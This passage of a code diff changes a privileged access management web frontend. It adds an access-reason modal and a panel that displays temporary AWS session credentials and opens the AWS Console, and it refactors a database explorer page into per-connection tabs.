+        subTitle={
+          isReasonRequired
+            ? "This account's policy requires a reason for access."
+            : "Optionally provide a reason for this session."
+        }
+      >
+        <div className="mt-1 flex flex-col gap-2">
+          <TextArea
+            value={reason}
+            onChange={(e) => setReason(e.target.value)}
+            placeholder={
+              isReasonRequired
+                ? "e.g. Investigating incident INC-1234"
+                : "Optional, e.g. Reviewing IAM permissions"
+            }
+            rows={3}
+            maxLength={1000}
+            isError={showError}
+          />
+          {showError && <p className="text-xs text-red">A reason is required to continue.</p>}
+          <div className="mt-2 flex justify-end gap-2">
+            <Button
+              variant="outline_bg"
+              colorSchema="secondary"
+              onClick={() => onOpenChange(false)}
+            >
+              Cancel
+            </Button>
+            <Button isLoading={isPending} onClick={handleSubmit}>
+              {!isReasonRequired && trimmed.length === 0 ? "Skip & Continue" : "Continue"}
+            </Button>
+          </div>
+        </div>
+      </ModalContent>
+    </Modal>
+  );
+};
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamAwsIamAccessSection.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamAwsIamAccessSection.tsx
new file mode 100644
index 00000000000..b4ce51e9acf
--- /dev/null
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamAwsIamAccessSection.tsx
@@ -0,0 +1,205 @@
+import { useEffect, useRef, useState } from "react";
+import { CopyIcon, ExternalLinkIcon } from "lucide-react";
+
+import { createNotification } from "@app/components/notifications";
+import { ContentLoader } from "@app/components/v2";
+import { Button, IconButton, Input, Label } from "@app/components/v3";
+import { TPamAccount, useAccessPamAccount, useGetAwsIamConsoleUrl } from "@app/hooks/api/pam";
+import { TAwsIamCredentials } from "@app/hooks/api/pam/types";
+
+const formatExpiry = (expiresAt: string) => {
+  const remainingMs = new Date(expiresAt).getTime() - Date.now();
+  if (remainingMs <= 0) return "Expired";
+
+  const totalMinutes = Math.floor(remainingMs / 60_000);
+  const hours = Math.floor(totalMinutes / 60);
+  const minutes = totalMinutes % 60;
+  return hours > 0 ? `Expires in ${hours}h ${minutes}m` : `Expires in ${minutes}m`;
+};
+
+type TStsCredentials = {
+  accessKeyId: string;
+  secretAccessKey: string;
+  sessionToken: string;
+  expiresAt: string;
+};
+
+type Props = {
+  account: TPamAccount;
+  projectId: string;
+  reason?: string;
+  onClose: () => void;
+};
+
+export const PamAwsIamAccessSection = ({ account, projectId, reason, onClose }: Props) => {
+  const accessPamAccount = useAccessPamAccount();
+  const getAwsIamConsoleUrl = useGetAwsIamConsoleUrl();
+
+  const [credentials, setCredentials] = useState<TStsCredentials | null>(null);
+  const [sessionId, setSessionId] = useState<string | null>(null);
+  const [error, setError] = useState<string | null>(null);
+  const [, setNow] = useState(Date.now());
+
+  // Guards against React 18 StrictMode's double-invoked effect, which would
+  // otherwise issue two STS sessions for a single modal open
+  const hasRequestedRef = useRef(false);
+
+  useEffect(() => {
+    const id = window.setInterval(() => setNow(Date.now()), 60_000);
+    return () => window.clearInterval(id);
+  }, []);
+
+  useEffect(() => {
+    if (hasRequestedRef.current) return;
+    hasRequestedRef.current = true;
+
+    const run = async () => {
+      try {
+        const response = await accessPamAccount.mutateAsync({
+          accountId: account.id,
+          resourceName: account.resource?.name ?? "",
+          accountName: account.name,
+          projectId,
+          duration: `${(account.credentials as TAwsIamCredentials).defaultSessionDuration}s`,
+          reason
+        });
+
+        if (
+          !response.accessKeyId ||
+          !response.secretAccessKey ||
+          !response.sessionToken ||
+          !response.expiresAt
+        ) {
+          setError("Backend did not return AWS credentials");
+          return;
+        }
+
+        setCredentials({
+          accessKeyId: response.accessKeyId,
+          secretAccessKey: response.secretAccessKey,
+          sessionToken: response.sessionToken,
+          expiresAt: response.expiresAt
+        });
+        setSessionId(response.sessionId);
+      } catch (err) {
+        setError(err instanceof Error ? err.message : "Failed to generate AWS session credentials");
+      }
+    };
+
+    run().catch(() => {});
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, []);
+
+  const handleCopy = (text: string, label: string) => {
+    navigator.clipboard.writeText(text).catch(() => {});
+    createNotification({ text: `${label} copied to clipboard`, type: "info" });
+  };
+
+  const handleOpenConsole = async () => {
+    if (!sessionId || !credentials) return;
+    try {
+      const { consoleUrl } = await getAwsIamConsoleUrl.mutateAsync({
+        sessionId,
+        projectId,
+        accessKeyId: credentials.accessKeyId,
+        secretAccessKey: credentials.secretAccessKey,
+        sessionToken: credentials.sessionToken
+      });
+      window.open(consoleUrl, "_blank", "noopener,noreferrer");
+      createNotification({ text: "AWS Console opened in a new tab", type: "success" });
+      onClose();
+    } catch (err) {
+      createNotification({
+        text: err instanceof Error ? err.message : "Failed to open AWS Console",
+        type: "error"
+      });
+    }
+  };
+
+  if (error) {
+    return (
+      <div
+        role="alert"
+        className="rounded-md border border-danger/20 bg-danger/5 p-4 text-sm text-danger"
+      >
+        {error}
+      </div>
+    );
+  }
+
+  if (!credentials) {
+    return (
+      <div className="flex h-40 items-center justify-center">
+        <ContentLoader />
+      </div>
+    );
+  }
+
+  const fields = [
+    { label: "Access Key ID", value: credentials.accessKeyId },
+    { label: "Secret Access Key", value: credentials.secretAccessKey },
+    { label: "Session Token", value: credentials.sessionToken }
+  ];
+
+  return (
+    <div className="flex flex-col gap-4">
+      <div>
+        <div className="flex items-center justify-between">
+          <div>
+            <p className="text-sm font-medium text-foreground">Credentials</p>
+            <p className="text-xs text-muted">
+              Use with the AWS CLI, SDKs, or paste into <code>~/.aws/credentials</code>
+            </p>
+          </div>
+          <p className="text-xs text-muted">{formatExpiry(credentials.expiresAt)}</p>
+        </div>
+
+        <div className="mt-3 flex flex-col gap-3">
+          {fields.map(({ label, value }) => (
+            <div key={label}>
+              <Label className="mb-1 text-label">{label}</Label>
+              <div className="flex gap-2">
+                <Input value={value} readOnly />
+                <IconButton
+                  aria-label={`Copy ${label}`}
+                  variant="outline"
+                  onClick={() => handleCopy(value, label)}
+                >
+                  <CopyIcon />
+                </IconButton>
+              </div>
+            </div>
+          ))}
+        </div>
+      </div>
+
+      <div className="relative my-2">
+        <div className="absolute inset-0 flex items-center">
+          <div className="w-full border-t border-border" />
+        </div>
+        <div className="relative flex justify-center text-xs">
+          <span className="bg-mineshaft-800 px-2 text-muted">OR</span>
+        </div>
+      </div>
+
+      <div>
+        <p className="text-sm font-medium text-foreground">Browser</p>
+        <p className="mb-2 text-xs text-muted">
+          Open the AWS Console signed in as the same temporary session
+        </p>
+        <Button
+          variant="project"
+          size="md"
+          isFullWidth
+          isPending={getAwsIamConsoleUrl.isPending}
+          onClick={() => {
+            handleOpenConsole().catch(() => {});
+          }}
+        >
+          <ExternalLinkIcon />
+          Open in AWS Console
+        </Button>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamDeleteAccountModal.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamDeleteAccountModal.tsx
index 734c3a69f8c..c89751b73a7 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamDeleteAccountModal.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamDeleteAccountModal.tsx
@@ -12,18 +12,14 @@ type Props = {
 export const PamDeleteAccountModal = ({ isOpen, onOpenChange, account, onDeleted }: Props) => {
   const deletePamAccount = useDeletePamAccount();
 
-  if (!account) return null;
+  if (!account || !account.parentType) return null;
 
-  const {
-    id: accountId,
-    name,
-    resource: { resourceType }
-  } = account;
+  const { id: accountId, name, parentType } = account;
 
   const handleDelete = async () => {
     await deletePamAccount.mutateAsync({
       accountId,
-      resourceType
+      parentType
     });
 
     createNotification({
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/PamRequestAccountAccessModal.tsx b/frontend/src/pages/pam/PamAccountsPage/components/PamRequestAccountAccessModal.tsx
index 5f54e3c8440..99c32a21ab1 100644
--- a/frontend/src/pages/pam/PamAccountsPage/components/PamRequestAccountAccessModal.tsx
+++ b/frontend/src/pages/pam/PamAccountsPage/components/PamRequestAccountAccessModal.tsx
@@ -15,7 +15,7 @@ import {
   ModalContent,
   TextArea
 } from "@app/components/v2";
-import { UnstableAlert, UnstableAlertDescription, UnstableAlertTitle } from "@app/components/v3";
+import { Alert, AlertDescription, AlertTitle } from "@app/components/v3";
 import { useProject } from "@app/context";
 import { ApprovalPolicyType } from "@app/hooks/api/approvalPolicies";
 import { useCreateApprovalRequest } from "@app/hooks/api/approvalRequests/mutations";
@@ -99,13 +99,13 @@ const Content = ({ onOpenChange, resourceName, accountName, accountAccessed }: P
   return (
     <form onSubmit={handleSubmit(onSubmit)}>
       {accountAccessed && (
-        <UnstableAlert variant="info" className="mb-3">
+        <Alert variant="info" className="mb-3">
           <InfoIcon />
-          <UnstableAlertTitle>This account is protected by an approval policy</UnstableAlertTitle>
-          <UnstableAlertDescription>
+          <AlertTitle>This account is protected by an approval policy</AlertTitle>
+          <AlertDescription>
             You must request access by filling out the fields below.
-          </UnstableAlertDescription>
-        </UnstableAlert>
+          </AlertDescription>
+        </Alert>
       )}
       {resourceName && accountName && (
         <div className="mb-4 rounded-md border border-mineshaft-600 bg-mineshaft-700/50 p-3">
diff --git a/frontend/src/pages/pam/PamAccountsPage/components/useAccessAwsIamAccount.tsx b/frontend/src/pages/pam/PamAccountsPage/components/useAccessAwsIamAccount.tsx
deleted file mode 100644
index 4d9cd9b642e..00000000000
--- a/frontend/src/pages/pam/PamAccountsPage/components/useAccessAwsIamAccount.tsx
+++ /dev/null
@@ -1,55 +0,0 @@
-import { useState } from "react";
-
-import { createNotification } from "@app/components/notifications";
-import { PamResourceType, TPamAccount, useAccessPamAccount } from "@app/hooks/api/pam";
-import { TAwsIamCredentials } from "@app/hooks/api/pam/types";
-
-export const useAccessAwsIamAccount = () => {
-  const accessPamAccount = useAccessPamAccount();
-  const [loadingAccountId, setLoadingAccountId] = useState<string | null>(null);
-
-  const accessAwsIam = async (account: TPamAccount) => {
-    if (account.resource.resourceType !== PamResourceType.AwsIam) {
-      return false;
-    }
-
-    setLoadingAccountId(account.id);
-
-    try {
-      const response = await accessPamAccount.mutateAsync({
-        accountId: account.id,
-        resourceName: account.resource.name,
-        accountName: account.name,
-        projectId: account.projectId,
-        duration: `${(account.credentials as TAwsIamCredentials).defaultSessionDuration}s`
-      });
-
-      if (response.consoleUrl) {
-        // Open the AWS Console URL in a new tab
-        window.open(response.consoleUrl, "_blank", "noopener,noreferrer");
-
-        createNotification({
-          text: "AWS Console opened in new tab",
-          type: "success"
-        });
-
-        return true;
-      }
-
-      createNotification({
-        text: "Failed to generate AWS Console URL",
-        type: "error"
-      });
-
-      return false;
-    } finally {
-      setLoadingAccountId(null);
-    }
-  };
-
-  return {
-    accessAwsIam,
-    isPending: accessPamAccount.isPending,
-    loadingAccountId
-  };
-};
diff --git a/frontend/src/pages/pam/PamDataExplorerPage/PamDataExplorerPage.tsx b/frontend/src/pages/pam/PamDataExplorerPage/PamDataExplorerPage.tsx
index 789ef9cb000..8b06b3ee5bf 100644
--- a/frontend/src/pages/pam/PamDataExplorerPage/PamDataExplorerPage.tsx
+++ b/frontend/src/pages/pam/PamDataExplorerPage/PamDataExplorerPage.tsx
@@ -12,16 +12,6 @@ import {
 } from "lucide-react";
 
 import { Spinner } from "@app/components/v2";
-import {
-  AlertDialog,
-  AlertDialogAction,
-  AlertDialogCancel,
-  AlertDialogContent,
-  AlertDialogDescription,
-  AlertDialogFooter,
-  AlertDialogHeader,
-  AlertDialogTitle
-} from "@app/components/v3/generic/AlertDialog";
 import { Button } from "@app/components/v3/generic/Button";
 import { cn } from "@app/components/v3/utils";
 import { useGetPamAccountById } from "@app/hooks/api/pam";
@@ -29,11 +19,15 @@ import { useGetPamAccountById } from "@app/hooks/api/pam";
 import { DataExplorerGrid } from "./components/DataExplorerGrid";
 import { DataExplorerSidebar } from "./components/DataExplorerSidebar";
 import { QueryPanel } from "./components/QueryPanel";
-import type { SchemaInfo, TableDetail, TableInfo } from "./data-explorer-types";
+import type { SchemaInfo, TableInfo } from "./data-explorer-types";
 import { useDataExplorerSession } from "./use-data-explorer-session";
-import { BROWSE_TAB_ID, useQueryTabs } from "./use-query-tabs";
+import { useQueryTabs } from "./use-query-tabs";
+
+type Props = {
+  reason?: string;
+};
 
-export const PamDataExplorerPage = () => {
+export const PamDataExplorerPage = ({ reason }: Props = {}) => {
   const { accountId, projectId, orgId } = useParams({
     strict: false
   }) as {
@@ -44,26 +38,28 @@ export const PamDataExplorerPage = () => {
 
   const { data: account } = useGetPamAccountById(accountId);
 
+  // Sidebar-only view state. Switching schemas in the sidebar does not alter
+  // open tabs — tabs are bound to their own (schema, table) at open time.
   const [schemas, setSchemas] = useState<SchemaInfo[]>([]);
   const [selectedSchema, setSelectedSchema] = useState("public");
   const [tables, setTables] = useState<TableInfo[]>([]);
-  const [selectedTable, setSelectedTable] = useState<string | null>(null);
-  const [tableDetail, setTableDetail] = useState<TableDetail | null>(null);
   const [isLoadingSchemas, setIsLoadingSchemas] = useState(false);
   const [isLoadingTables, setIsLoadingTables] = useState(false);
-  const [isLoadingDetail, setIsLoadingDetail] = useState(false);
   const [hasDisconnected, setHasDisconnected] = useState(false);
   const [disconnectReason, setDisconnectReason] = useState<string | null>(null);
-  const unsavedChangeCountRef = useRef(0);
-  const [pendingTableSwitch, setPendingTableSwitch] = useState<string | null>(null);
   const latestSchemaRequestRef = useRef(0);
-  const latestDetailRequestRef = useRef(0);
+  const tabElRefs = useRef<Map<string, HTMLDivElement | null>>(new Map());
 
   const [approvalJustification, setApprovalJustification] = useState("");
 
-  const { tabs, activeTabId, atTabLimit, addTab, closeTab, setActiveTab, updateTabSql } =
-    useQueryTabs();
-  const [isInTransaction, setIsInTransaction] = useState(false);
+  // Forward refs for tab-state handlers that useDataExplorerSession calls
+  // before useQueryTabs has been called. Assigned after useQueryTabs below.
+  const markConnectionDeadRef = useRef<((connId: string) => void) | null>(null);
+  const resetTabsRef = useRef<(() => void) | null>(null);
+  const openFirstQueryTabRef = useRef<(() => Promise<string | null>) | null>(null);
+  // Shared guard so the first-connect effect and onReconnected don't both
+  // end up opening a default tab.
+  const defaultTabOpenedRef = useRef(false);
 
   const {
     isConnected,
@@ -77,6 +73,8 @@ export const PamDataExplorerPage = () => {
     handleMfaVerification,
     submitApprovalRequest,
     approvalRequestUrl,
+    openConnection,
+    closeConnection,
     fetchSchemas,
     fetchTables,
     fetchTableDetail,
@@ -88,13 +86,49 @@ export const PamDataExplorerPage = () => {
     orgId,
     resourceName: account?.resource?.name ?? "",
     accountName: account?.name ?? "",
-    onSessionEnd: (reason?: string) => {
-      unsavedChangeCountRef.current = 0;
+    reason,
+    onSessionEnd: (endReason?: string) => {
       setHasDisconnected(true);
-      setDisconnectReason(reason ?? null);
+      setDisconnectReason(endReason ?? null);
+    },
+    onConnectionClosed: (connId: string) => {
+      markConnectionDeadRef.current?.(connId);
+    },
+    onReconnected: () => {
+      // Drop all tabs on reconnect — all connectionIds are invalid.
+      resetTabsRef.current?.();
+      // Claim the default-tab slot so the first-connect effect skips it.
+      defaultTabOpenedRef.current = true;
+      const opener = openFirstQueryTabRef.current;
+      if (opener) opener().catch(() => {});
     }
   });
 
+  const {
+    tabs,
+    activeTabId,
+    atTabLimit,
+    isOpeningTab,
+    openQueryTab,
+    openBrowseTab,
+    closeTab,
+    setActiveTab,
+    updateTabSql,
+    setTabTransactionOpen,
+    markConnectionDead,
+    resetTabs,
+    refreshBrowseTab,
+    MAX_TABS
+  } = useQueryTabs({
+    openConnection,
+    closeConnection,
+    fetchTableDetail
+  });
+
+  markConnectionDeadRef.current = markConnectionDead;
+  resetTabsRef.current = resetTabs;
+  openFirstQueryTabRef.current = openQueryTab;
+
   // Drive connection from the page, not the hook.
   // Use a ref callback as the gate (same approach as useWebAccessSession's containerEl).
   // The ref callback fires once after the real DOM mount — StrictMode's simulated
@@ -118,37 +152,6 @@ export const PamDataExplorerPage = () => {
     // eslint-disable-next-line react-hooks/exhaustive-deps
   }, []);
 
-  // Load schemas when connected
-  const loadSchemas = useCallback(async () => {
-    setIsLoadingSchemas(true);
-    try {
-      const result = await fetchSchemas();
-      setSchemas(result);
-      // Determine the active schema
-      const hasPublic = result.find((s) => s.name === selectedSchema);
-      const activeSchema = hasPublic ? selectedSchema : (result[0]?.name ?? "public");
-      if (!hasPublic && result.length > 0) {
-        setSelectedSchema(activeSchema);
-      }
-      // Auto-load tables for the active schema
-      if (result.length > 0) {
-        setIsLoadingTables(true);
-        try {
-          const tableResult = await fetchTables(activeSchema);
-          setTables(tableResult);
-        } catch {
-          // Error handled by the hook
-        } finally {
-          setIsLoadingTables(false);
-        }
-      }
-    } catch {
-      // Error handled by the hook
-    } finally {
-      setIsLoadingSchemas(false);
-    }
-  }, [fetchSchemas, fetchTables, selectedSchema]);
-
   const loadTables = useCallback(
     async (schema: string) => {
       // Guard against stale responses when the user switches schemas quickly.
@@ -171,111 +174,107 @@ export const PamDataExplorerPage = () => {
     [fetchTables]
   );
 
-  const loadTableDetail = useCallback(
-    async (schema: string, tableName: string) => {
-      latestDetailRequestRef.current += 1;
-      const requestId = latestDetailRequestRef.current;
-      setIsLoadingDetail(true);
+  const loadSchemas = useCallback(
+    async (keepSelected = false) => {
+      setIsLoadingSchemas(true);
       try {
-        const result = await fetchTableDetail(schema, tableName);
-        if (latestDetailRequestRef.current !== requestId) return;
-        setTableDetail(result);
+        const result = await fetchSchemas();
+        setSchemas(result);
+        const hasSelected = result.find((s) => s.name === selectedSchema);
+        const activeSchema = hasSelected ? selectedSchema : (result[0]?.name ?? "public");
+        if (!hasSelected && result.length > 0 && !keepSelected) {
+          setSelectedSchema(activeSchema);
+        }
+        if (result.length > 0) {
+          await loadTables(activeSchema);
+        }
       } catch {
         // Error handled by the hook
       } finally {
-        if (latestDetailRequestRef.current === requestId) {
-          setIsLoadingDetail(false);
-        }
+        setIsLoadingSchemas(false);
       }
     },
-    [fetchTableDetail]
+    [fetchSchemas, loadTables, selectedSchema]
   );
 
+  // Keep the active tab visible in the tab bar whenever activation changes
+  // (tab switch, new tab opened, sidebar table opened, etc.). Only scrolls the
+  // tab bar itself — not ancestor containers — so the rest of the page layout
+  // stays put.
+  useEffect(() => {
+    if (!activeTabId) return;
+    const el = tabElRefs.current.get(activeTabId);
+    const container = el?.parentElement;
+    if (!el || !container) return;
+    const elRect = el.getBoundingClientRect();
+    const cRect = container.getBoundingClientRect();
+    if (elRect.left < cRect.left) {
+      container.scrollBy({ left: elRect.left - cRect.left, behavior: "smooth" });
+    } else if (elRect.right > cRect.right) {
+      container.scrollBy({ left: elRect.right - cRect.right, behavior: "smooth" });
+    }
+  }, [activeTabId, tabs.length]);
+
   // Auto-load schemas when we transition to connected
   const wasConnectedRef = useRef(false);
   useEffect(() => {
     if (isConnected && !wasConnectedRef.current) {
       wasConnectedRef.current = true;
       setHasDisconnected(false);
-      loadSchemas();
+      (async () => {
+        await loadSchemas();
+        // Open a default query tab once — onReconnected handles subsequent
+        // reconnects via defaultTabOpenedRef, so we don't double-open.
+        if (!defaultTabOpenedRef.current) {
+          defaultTabOpenedRef.current = true;
+          await openQueryTab();
+        }
+      })().catch(() => {});
     }
     if (!isConnected) {
       wasConnectedRef.current = false;
     }
-  }, [isConnected, loadSchemas]);
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [isConnected]);
 
   const handleSchemaChange = useCallback(
     (schema: string) => {
       setSelectedSchema(schema);
-      // Clear immediately so the grid doesn't fire a stale query
-      // against the new schema with the old table name.
-      setSelectedTable(null);
-      setTableDetail(null);
       loadTables(schema);
     },
     [loadTables]
   );
 
-  const handleTableSelect = useCallback(
-    (tableName: string) => {
-      if (tableName === selectedTable) {
-        setActiveTab(BROWSE_TAB_ID);
-        return;
-      }
-      if (unsavedChangeCountRef.current > 0) {
-        setPendingTableSwitch(tableName);
-        return;
-      }
-      setSelectedTable(tableName);
-      loadTableDetail(selectedSchema, tableName);
-      setActiveTab(BROWSE_TAB_ID);
+  const handleTableOpen = useCallback(
+    (tableName: string, opts: { forceNew: boolean }) => {
+      openBrowseTab(selectedSchema, tableName, opts).catch(() => {});
     },
-    [selectedTable, selectedSchema, loadTableDetail, setActiveTab]
+    [selectedSchema, openBrowseTab]
   );
 
-  const handleDiscardAndSwitch = useCallback(() => {
-    if (!pendingTableSwitch) return;
-    unsavedChangeCountRef.current = 0;
-    setSelectedTable(pendingTableSwitch);
-    loadTableDetail(selectedSchema, pendingTableSwitch);
-    setPendingTableSwitch(null);
-    setActiveTab(BROWSE_TAB_ID);
-  }, [pendingTableSwitch, selectedSchema, loadTableDetail, setActiveTab]);
-
-  const handleFullRefresh = useCallback(async () => {
-    // 1. Re-fetch tables for current schema (picks up new/dropped tables)
-    setIsLoadingTables(true);
-    try {
-      const tableResult = await fetchTables(selectedSchema);
-      setTables(tableResult);
-
-      // 2. If selected table was dropped, deselect and stop
-      if (selectedTable && !tableResult.find((t) => t.name === selectedTable)) {
-        setSelectedTable(null);
-        setTableDetail(null);
-        return;
-      }
-    } catch {
-      // Error handled by the hook
-    } finally {
-      setIsLoadingTables(false);
-    }
-
-    // 3. Re-fetch table detail for current table (picks up column/PK changes)
-    if (selectedTable) {
-      await loadTableDetail(selectedSchema, selectedTable);
-    }
-  }, [selectedSchema, selectedTable, fetchTables, loadTableDetail]);
-
   const handleReconnect = useCallback(() => {
     setHasDisconnected(false);
     setDisconnectReason(null);
     setSchemas([]);
     setTables([]);
-    setSelectedTable(null);
-    setTableDetail(null);
+    resetTabs();
     reconnect();
-  }, [reconnect]);
+  }, [reconnect, resetTabs]);
+
+  // Tab-scoped refresh: re-fetches tableDetail + schemas + sidebar tables.
+  // The grid also re-runs its own SELECT after this completes.
+  const handleTabRefresh = useCallback(
+    async (tabId: string) => {
+      await Promise.all([refreshBrowseTab(tabId), loadSchemas(true), loadTables(selectedSchema)]);
+    },
+    [refreshBrowseTab, loadSchemas, loadTables, selectedSchema]
+  );
+
+  const activeBrowseTarget = (() => {
+    const active = tabs.find((t) => t.id === activeTabId);
+    if (active?.kind === "browse") return { schema: active.schema, table: active.table };
+    return null;
+  })();
 
   // --- Overlay states (shown instead of the main layout) ---
 
@@ -393,125 +392,151 @@ export const PamDataExplorerPage = () => {
 
   // --- Main layout ---
 
+  const tabOpeningDisabled = isOpeningTab || atTabLimit;
+
   return (
     <div ref={mountRef} className="flex h-screen w-screen flex-col bg-bunker-800">
-      {/* Body */}
       <div className="flex flex-1 overflow-hidden">
         <DataExplorerSidebar
           schemas={schemas}
           selectedSchema={selectedSchema}
           onSchemaChange={handleSchemaChange}
           tables={tables}
-          selectedTable={selectedTable}
-          onTableSelect={handleTableSelect}
+          activeBrowseTarget={activeBrowseTarget}
+          onTableOpen={handleTableOpen}
           isLoadingSchemas={isLoadingSchemas}
           isLoadingTables={isLoadingTables}
+          disabled={isOpeningTab}
         />
 
         <div className="flex flex-1 flex-col overflow-hidden">
-          <div className="flex thin-scrollbar shrink-0 items-center overflow-x-auto border-b border-mineshaft-600 bg-mineshaft-800 [&::-webkit-scrollbar]:h-1">
-            <button
-              type="button"
-              onClick={() => setActiveTab(BROWSE_TAB_ID)}
-              className={cn(
-                "flex shrink-0 items-center gap-1.5 border-b-2 px-4 py-2 text-xs font-medium transition-colors",
-                activeTabId === BROWSE_TAB_ID
-                  ? "border-info text-mineshaft-100"
-                  : "border-transparent text-mineshaft-400 hover:text-mineshaft-200"
-              )}
-            >
-              <TableIcon className="size-3.5" />
-              Browse
-            </button>
-
-            {tabs.map((tab) => (
-              <div
-                key={tab.id}
-                role="button"
-                tabIndex={0}
-                onClick={() => setActiveTab(tab.id)}
-                onKeyDown={(e) => (e.key === "Enter" || e.key === " ") && setActiveTab(tab.id)}
-                className={cn(
-                  "group flex shrink-0 cursor-pointer items-center gap-1 border-b-2 px-3 py-2 text-xs font-medium transition-colors",
-                  activeTabId === tab.id
-                    ? "border-info text-mineshaft-100"
-                    : "border-transparent text-mineshaft-400 hover:text-mineshaft-200"
-                )}
-              >
-                <span className="flex items-center gap-1.5">
-                  <TerminalSquareIcon className="size-3.5" />
-                  {tab.title}
-                </span>
-                <button
-                  type="button"
-                  onClick={(e) => {
-                    e.stopPropagation();
-                    closeTab(tab.id);
+          <div className="flex min-h-[34px] shrink-0 items-center overflow-x-auto border-b border-mineshaft-600 bg-mineshaft-800 px-2 [scrollbar-color:transparent_transparent] [scrollbar-width:thin] hover:[scrollbar-color:#4a4b4e_transparent] [&::-webkit-scrollbar]:h-1 [&::-webkit-scrollbar-thumb]:rounded-full [&::-webkit-scrollbar-thumb]:bg-transparent hover:[&::-webkit-scrollbar-thumb]:bg-mineshaft-600 [&::-webkit-scrollbar-track]:bg-transparent">
+            {tabs.map((tab) => {
+              const isActive = activeTabId === tab.id;
+              const Icon = tab.kind === "browse" ? TableIcon : TerminalSquareIcon;
+              return (
+                <div
+                  key={tab.id}
+                  ref={(el) => {
+                    if (el) tabElRefs.current.set(tab.id, el);
+                    else tabElRefs.current.delete(tab.id);
                   }}
-                  className="ml-1 rounded p-0.5 text-mineshaft-300 transition-colors hover:text-mineshaft-100"
-                  aria-label={`Close ${tab.title}`}
+                  role="button"
+                  tabIndex={0}
+                  onClick={() => setActiveTab(tab.id)}
+                  onKeyDown={(e) => (e.key === "Enter" || e.key === " ") && setActiveTab(tab.id)}
+                  className={cn(
+                    "group flex shrink-0 cursor-pointer items-center gap-1 border-b-2 px-3 py-2 text-xs font-medium transition-colors",
+                    isActive
+                      ? "border-info text-mineshaft-100"
+                      : "border-transparent text-mineshaft-400 hover:text-mineshaft-200",
+                    tab.isDead && "text-red-400"
+                  )}
                 >
-                  <XIcon className="size-3" />
-                </button>
-              </div>
-            ))}
+                  <span className="flex items-center gap-1.5">
+                    <Icon className="size-3.5" />
+                    {tab.title}
+                  </span>
+                  <button
+                    type="button"
+                    onClick={(e) => {
+                      e.stopPropagation();
+                      closeTab(tab.id);
+                    }}
+                    className="ml-1 rounded p-0.5 text-mineshaft-300 transition-colors hover:text-mineshaft-100"
+                    aria-label={`Close ${tab.title}`}
+                  >
+                    <XIcon className="size-3" />
+                  </button>
+                </div>
+              );
+            })}
 
             <button
               type="button"
-              onClick={addTab}
-              disabled={atTabLimit}
-              className="ml-1 flex shrink-0 items-center gap-1.5 rounded border border-mineshaft-600 px-2 py-1 text-xs text-mineshaft-300 transition-colors hover:border-mineshaft-500 hover:text-mineshaft-100 disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:border-mineshaft-600 disabled:hover:text-mineshaft-300"
+              onClick={() => {
+                openQueryTab().catch(() => {});
+              }}
+              disabled={tabOpeningDisabled}
+              className="ml-1 flex shrink-0 items-center gap-1.5 rounded border border-mineshaft-600 px-2 py-1 text-xs text-mineshaft-300 transition-colors first:ml-0 hover:border-mineshaft-500 hover:text-mineshaft-100 disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:border-mineshaft-600 disabled:hover:text-mineshaft-300"
               aria-label="New query tab"
+              title={atTabLimit ? `Tab limit (${MAX_TABS}) reached` : "New query tab"}
             >
               <PlusIcon className="size-3" />
               New query
             </button>
           </div>
 
-          <div
-            className={cn("flex flex-1 overflow-hidden", activeTabId !== BROWSE_TAB_ID && "hidden")}
-          >
-            {selectedTable ? (
-              <DataExplorerGrid
-                key={`${selectedSchema}.${selectedTable}`}
-                tableDetail={tableDetail}
-                tableType={tables.find((t) => t.name === selectedTable)?.tableType}
-                schema={selectedSchema}
-                table={selectedTable}
-                executeQuery={executeQuery}
-                isLoading={isLoadingDetail}
-                onChangeCountUpdate={(count) => {
-                  unsavedChangeCountRef.current = count;
-                }}
-                onFullRefresh={handleFullRefresh}
-              />
-            ) : (
-              <div className="flex flex-1 items-center justify-center">
-                <div className="text-center">
-                  <DatabaseIcon className="mx-auto mb-3 size-12 text-mineshaft-600" />
-                  <p className="text-sm text-mineshaft-400">
-                    Select a table from the sidebar to browse data
-                  </p>
-                </div>
+          {/* All tabs are mounted; inactive tabs are CSS-hidden so their
+              component instance state (filters, pagination, SQL, results)
+              survives tab switches. */}
+          {tabs.map((tab) => {
+            const deadTabView = (
+              <div className="flex flex-1 flex-col items-center justify-center gap-3 text-center">
+                <AlertTriangleIcon className="size-8 text-red-400" />
+                <p className="text-sm text-mineshaft-300">
+                  This connection was closed and cannot be reused.
+                </p>
+                <Button variant="outline" size="xs" onClick={() => closeTab(tab.id)}>
+                  Close tab
+                </Button>
               </div>
-            )}
-          </div>
+            );
+            let content;
+            if (tab.isDead) {
+              content = deadTabView;
+            } else if (tab.kind === "browse") {
+              content = (
+                <DataExplorerGrid
+                  key={tab.id}
+                  tableDetail={tab.tableDetail}
+                  tableType={tables.find((t) => t.name === tab.table)?.tableType}
+                  schema={tab.schema}
+                  table={tab.table}
+                  connectionId={tab.connectionId}
+                  executeQuery={executeQuery}
+                  isLoading={tab.isLoadingDetail}
+                  onRefresh={() => handleTabRefresh(tab.id)}
+                />
+              );
+            } else {
+              content = (
+                <QueryPanel
+                  key={tab.id}
+                  tab={tab}
+                  executeQuery={executeQuery}
+                  cancelQuery={cancelQuery}
+                  onSqlChange={(sql) => updateTabSql(tab.id, sql)}
+                  onTransactionStateChange={(open) => setTabTransactionOpen(tab.id, open)}
+                />
+              );
+            }
+            return (
+              <div
+                key={tab.id}
+                className={cn("flex flex-1 overflow-hidden", activeTabId !== tab.id && "hidden")}
+              >
+                {content}
+              </div>
+            );
+          })}
 
-          {tabs.map((tab) => (
-            <div
-              key={tab.id}
-              className={cn("flex flex-1 overflow-hidden", activeTabId !== tab.id && "hidden")}
-            >
-              <QueryPanel
-                tab={tab}
-                executeQuery={executeQuery}
-                cancelQuery={cancelQuery}
-                isInTransaction={isInTransaction}
-                onSqlChange={(sql) => updateTabSql(tab.id, sql)}
